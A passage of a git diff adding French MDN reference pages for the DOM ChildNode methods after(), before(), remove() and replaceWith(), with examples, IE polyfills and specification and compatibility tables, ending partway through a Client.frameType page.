+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">Référence du DOM</a>.</li>
+</ul>
diff --git a/files/fr/web/api/childnode/after/index.html b/files/fr/web/api/childnode/after/index.html
new file mode 100644
index 0000000000..60fc5d339d
--- /dev/null
+++ b/files/fr/web/api/childnode/after/index.html
@@ -0,0 +1,184 @@
+---
+title: ChildNode.after()
+slug: Web/API/ChildNode/after
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Noeud
+  - Reference
+translation_of: Web/API/ChildNode/after
+---
+<div>{{APIRef ("DOM")}} {{SeeCompatTable}}</div>
+
+<div>La méthode <code><strong>ChildNode.after ()</strong></code> insère un ensemble d'objets {{domxref ("Node")}} ou {{domxref ("DOMString")}} dans la liste des enfants de ce parent de ChildNode, juste après ce ChildNode. Les objets {{domxref ("DOMString")}} sont insérés comme des noeuds {{domxref ("Text")}} équivalents.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.after((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Un ensemble d'objets {{domxref ("Node")}} ou {{domxref ("DOMString")}} à insérer.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{Domxref ("HierarchyRequestError")}} : Le noeud ne peut pas être inséré au point spécifié dans la hiérarchie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Insertion_d'un_élément">Insertion d'un élément</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;p&gt;&lt;/p&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="Insertion_d'un_texte">Insertion d'un texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.after("Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;p&gt;&lt;/p&gt;Texte&lt;/div&gt;"</pre>
+
+<h3 id="Insertion_d'un_élément_et_de_texte">Insertion d'un élément et de  texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span, "Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;p&gt;&lt;/p&gt;&lt;span&gt;&lt;/span&gt;Texte&lt;/div&gt;"</pre>
+
+<h3 id="ChildNode.after()_n'est_pas_accessible"><code>ChildNode.after()</code> n'est pas accessible</h3>
+
+<p>La méthode <code>after()</code> <span class="short_text" id="result_box" lang="fr"><span>n'est pas compris dans l'instruction </span></span><code>with</code> . Voir {{jsxref("Symbol.unscopables")}} pour plus d'informations.</p>
+
+<pre class="brush: js">with(node) {
+  after("foo");
+}
+// ReferenceError: after n'est pas défini </pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Vous pouvez appliquer la méthode <code>after()</code> dans Internet Explorer 9 et plus haut avec le code suivant :</p>
+
+<pre class="brush: js">//de : https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('after')) {
+      return;
+    }
+    Object.defineProperty(item, 'after', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function after() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this.nextSibling);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="_Polyfill_Element.prototype.after" name="_Polyfill_Element.prototype.after"> </h2>
+
+<pre class="brush: js">//https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js
+
+(function(x){
+ var o=x.prototype,p='after';
+ if(!o[p]){
+    o[p]=function(){
+     var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document;
+     if(p!==null){
+        while(i&lt;l){
+         e=m[i];
+         if(e instanceof n){
+            t=t.nextSibling;
+            if(t!==null){
+                p.insertBefore(e,t);
+            }else{
+                p.appendChild(e);
+            };
+         }else{
+            p.appendChild(d.createTextNode(s(e)));
+         };
+         ++i;
+        };
+     };
+    };
+ };
+})(Element);
+
+
+
+/*
+min:
+
+(function(x){
+ var o=x.prototype;
+ o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i&lt;l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}});
+}(Element));
+
+*/
+</pre>
+
+<h3 id="sect1"> </h3>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.ChildNode.after")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} et {{domxref("ParentNode")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/childnode/before/index.html b/files/fr/web/api/childnode/before/index.html
new file mode 100644
index 0000000000..fb080c7b0c
--- /dev/null
+++ b/files/fr/web/api/childnode/before/index.html
@@ -0,0 +1,141 @@
+---
+title: ChildNode.before()
+slug: Web/API/ChildNode/before
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+  - References
+translation_of: Web/API/ChildNode/before
+---
+<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div>
+
+<p>La méthode <code><strong>ChildNode.before</strong></code> insère un ensemble d'objets {{domxref("Node")}} (<em>noeud</em>) ou {{domxref("DOMString")}} (<em>chaîne de caractères</em>) dans la liste des enfants du parent du <code>ChildNode</code>, juste avant ce <code>ChildNode</code>. Des objets {{domxref("DOMString")}} sont insérés comme noeuds équivalents à {{domxref("Text")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Un ensemble d'objets {{domxref("Node")}} (<em>noeud</em>) ou {{domxref("DOMString")}} (<em>chaîne de caractères</em>) à insérer.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}} : Le noeud ne peut être inséré au point spécifié dans la hiérarchie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Insertion_d'un_élément">Insertion d'un élément</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="Insertion_de_texte">Insertion de texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="Insertion_d'un_élément_et_de_texte">Insertion d'un élément et de texte</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="ChildNode.before()_est_inaccessible"><code>ChildNode.before()</code> est inaccessible</h3>
+
+<p>La méthode <code>before()</code> n'est pas comprise dans l'instruction <code>with</code>. Voir {{jsxref("Symbol.unscopables")}} pour plus d'informations.</p>
+
+<pre class="brush: js">with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined (<em>before n'est pas défini</em>)</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Vous pouvez utiliser un polyfill pour la méthode <code>before()</code> dans Internet Explorer 9 et supérieur avec le code suivant :</p>
+
+<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('before')) {
+      return;
+    }
+    Object.defineProperty(item, 'before', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function before() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.ChildNode.before")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} et {{domxref("ParentNode")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/childnode/index.html b/files/fr/web/api/childnode/index.html
new file mode 100644
index 0000000000..4a847879bd
--- /dev/null
+++ b/files/fr/web/api/childnode/index.html
@@ -0,0 +1,75 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+  - API
+  - DOM
+  - Interface
+  - Noeuds
+translation_of: Web/API/ChildNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>L'interface <code><strong>ChildNode</strong></code> contient des méthodes propres aux objets {{domxref("Node")}} pouvant avoir un parent.</p>
+
+<p><code>ChildNode</code> est une interface de flux et aucun objet de ce type ne peut être créé ; elle est implémentée par les objets {{domxref("Element")}}, {{domxref("DocumentType")}} et {{domxref("CharacterData")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Il n'y a pas de propriétés héritées ni spécifiques.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Il n'y a pas de méthodes héritées.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>supprime ce <code>ChildNode</code> de la liste des enfants du parent.</dd>
+ <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt>
+ <dd>ajoute un jeu d'objets {{domxref("Node")}} ou {{domxref("DOMString")}} dans la liste des enfants du parent de ce <code>ChildNode</code>, juste avant lui. Les objets {{domxref("DOMString")}} sont ajoutés comme équivalent des noeuds {{domxref("Text")}}.</dd>
+ <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt>
+ <dd>ajoute un jeu d'objets {{domxref("Node")}} ou {{domxref("DOMString")}} dans la liste des enfants du parent de ce <code>ChildNode</code>, juste après lui. Les objets {{domxref("DOMString")}} sont ajoutés comme équivalent des noeuds {{domxref("Text")}}.</dd>
+ <dt>{{domxref("ChildNode.replace()")}} {{experimental_inline}}</dt>
+ <dd>Remplace ce <code>ChildNode</code> dans la liste des enfants de son parent avec un jeu d'objets {{domxref("Node")}} ou {{domxref("DOMString")}}. Les objets {{domxref("DOMString")}} sont insérés comme équivalent des noeuds {{domxref("Text")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sépare l'interface <code>ElementTraversal</code> dans {{domxref("ParentNode")}} et <code>ChildNode</code>. Les <code>previousElementSibling</code> et <code>nextElementSibling</code> sont maintenant définis  sur ce dernier.<br>
+    Les {{domxref("CharacterData")}} et {{domxref("DocumentType")}} implémentent les nouvelles interfaces.<br>
+    Ajoute les méthodes <code>remove()</code>, <code>before()</code>, <code>after()</code> et <code>replace()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Ajoute la définition initiale de ses propriétés à l'interface pure <code>ElementTraversal</code> et l'utilise sur un {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Externe sur github : <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.ChildNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface pure {{domxref("ParentNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Les types d'objet implémentant cette pure interface : {{domxref("CharacterData")}}, {{domxref("Element")}} et {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/childnode/remove/index.html b/files/fr/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..ad0b5ffa1c
--- /dev/null
+++ b/files/fr/web/api/childnode/remove/index.html
@@ -0,0 +1,91 @@
+---
+title: ChildNode.remove()
+slug: Web/API/ChildNode/remove
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeud Enfant
+translation_of: Web/API/ChildNode/remove
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>ChildNode.remove()</strong></code> retire l'objet de l'arbre auquel il appartient.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em>.remove();
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utilisation_de_la_méthode_remove">Utilisation de la méthode <code>remove()</code></h3>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+&lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var el = document.getElementById('div-01');
+el.nextElementSibling.remove(); // Retire l'élément div dont l'id est 'div-02'</pre>
+
+<h3 id="ChildNode.remove_est_unscopable"><code>ChildNode.remove()</code> est <em>unscopable</em></h3>
+
+<p>La méthode <code>remove()</code> n'est pas comprise dans une instruction <code>with</code>. Voir {{jsxref("Symbol.unscopables")}} pour plus d'informations.</p>
+
+<pre class="brush: js">with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined (<em>remove n'est pas défini</em>)</pre>
+
+<h2 id="Prothèse_démulation">Prothèse d'émulation</h2>
+
+<p>Vous pouvez utiliser une prothèse d'émulation pour la méthode <code>remove()</code> dans Internet Explorer 9 et supérieur avec le code suivant :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md</span>
+<span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>arr<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  arr<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>item<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>item<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'remove'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">return</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    Object<span class="punctuation token">.</span><span class="function token">defineProperty</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> <span class="string token">'remove'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+      configurable<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+      enumerable<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+      writable<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+      value<span class="punctuation token">:</span> <span class="keyword token">function</span> <span class="function token">remove</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>parentNode <span class="operator token">!==</span> <span class="keyword token">null</span><span class="punctuation token">)</span>
+          <span class="keyword token">this</span><span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">[</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> CharacterData<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span> DocumentType<span class="punctuation token">.</span>prototype<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.ChildNode.remove")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface simple {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Les types d'objets implémentant cette interface simple : {{domxref("CharacterData")}}, {{domxref("Element")}} et {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/childnode/replacewith/index.html b/files/fr/web/api/childnode/replacewith/index.html
new file mode 100644
index 0000000000..3239ceae59
--- /dev/null
+++ b/files/fr/web/api/childnode/replacewith/index.html
@@ -0,0 +1,117 @@
+---
+title: ChildNode.replaceWith()
+slug: Web/API/ChildNode/replaceWith
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+  - Reference
+translation_of: Web/API/ChildNode/replaceWith
+---
+<div>{{APIRef("DOM")}}<br>
+La méthode <code><strong>ChildNode</strong></code><strong><code>.replaceWith()</code></strong> remplace ce <code>ChildNode</code> de la liste des enfants de son parent par un ensemble d'objets {{domxref("Node")}} (<em>noeud</em>) ou {{domxref("DOMString")}} (<em>chaîne de caractères</em>).<br>
+Les objets {{domxref("DOMString")}} sont insérés en tant que noeuds {{domxref("Text")}}.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.replaceWith((Node ou DOMString)... nodes);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Un ensemble d'objets {{domxref("Node")}} (<em>noeud</em>) ou {{domxref("DOMString")}} (<em>chaîne de caractères</em>) à remplacer.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}} : Le noeud ne peut pas être inséré au point spécifié dans la hiérarchie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_replaceWith">Utilisation de <code>replaceWith()</code></h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var enfant = document.createElement("p");
+parent.appendChild(enfant);
+var span = document.createElement("span");
+
+enfant.replaceWith(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="ChildNode.replaceWith_nest_pas_accessible"><code>ChildNode.replaceWith()</code> n'est pas accessible</h3>
+
+<p>La méthode <code>replaceWith()</code> n'est pas comprise dans une instruction with. Voir {{jsxref("Symbol.unscopables")}} pour plus d'informations.</p>
+
+<pre class="brush: js">with(node) {
+  replaceWith("foo");
+}
+// ReferenceError: replaceWith n'est pas défini </pre>
+
+<h2 id="Prothèse_démulation">Prothèse d'émulation</h2>
+
+<p>Vous pouvez utiliser une prothèse d'émulation pour la méthode <code>replaceWith()</code> pour Internet Explorer 10 et plus avec le code suivant :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">ReplaceWith</span><span class="punctuation token">(</span>Ele<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="string token">'use-strict'</span><span class="punctuation token">;</span> <span class="comment token">// For safari, and IE &gt; 10</span>
+  <span class="keyword token">var</span> parent <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>parentNode<span class="punctuation token">,</span>
+      i <span class="operator token">=</span> arguments<span class="punctuation token">.</span>length<span class="punctuation token">,</span>
+      firstIsNode <span class="operator token">=</span> <span class="operator token">+</span><span class="punctuation token">(</span>parent <span class="operator token">&amp;&amp;</span> <span class="keyword token">typeof</span> Ele <span class="operator token">===</span> <span class="string token">'object'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>parent<span class="punctuation token">)</span> <span class="keyword token">return</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">while</span> <span class="punctuation token">(</span>i<span class="operator token">--</span> <span class="operator token">&gt;</span> firstIsNode<span class="punctuation token">)</span><span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>parent <span class="operator token">&amp;&amp;</span> <span class="keyword token">typeof</span> arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span> <span class="operator token">!==</span> <span class="string token">'object'</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+      arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span> <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span>arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span> <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>parent <span class="operator token">&amp;&amp;</span> arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>parentNode<span class="punctuation token">)</span><span class="punctuation token">{</span>
+      arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">continue</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    parent<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>previousSibling<span class="punctuation token">,</span> arguments<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>firstIsNode<span class="punctuation token">)</span> parent<span class="punctuation token">.</span><span class="function token">replaceChild</span><span class="punctuation token">(</span>Ele<span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>replaceWith<span class="punctuation token">)</span>
+    Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>replaceWith <span class="operator token">=</span> ReplaceWith<span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>CharacterData<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>replaceWith<span class="punctuation token">)</span>
+    CharacterData<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>replaceWith <span class="operator token">=</span> ReplaceWith<span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span>DocumentType<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>replaceWith<span class="punctuation token">)</span>
+    DocumentType<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>replaceWith <span class="operator token">=</span> ReplaceWith<span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.ChildNode.replaceWith")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} et {{domxref("ParentNode")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/client/frametype/index.html b/files/fr/web/api/client/frametype/index.html
new file mode 100644
index 0000000000..42fdca1bde
--- /dev/null
+++ b/files/fr/web/api/client/frametype/index.html
@@ -0,0 +1,96 @@
+---
+title: Client.frameType
+slug: Web/API/Client/frameType
+tags:
+  - API
+  - Client
+  - Experimental
+  - Property
+  - Reference
+  - ServiceWorker
+  - frameType
+translation_of: Web/API/Client/frameType
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>La propriété <code><strong>frameType</strong></code> (accessible en lecture seule) de l'interface {{domxref("Client")}} indique le type de contexte de navigation du {{domxref("Client")}} courant. Cette valeur peut être <code>auxiliary</code>, <code>top-level</code>, <code>nested</code>, ou <code>none</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myFrameType = Client.frameType;</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">TBD
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client-frametype', 'frameType')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
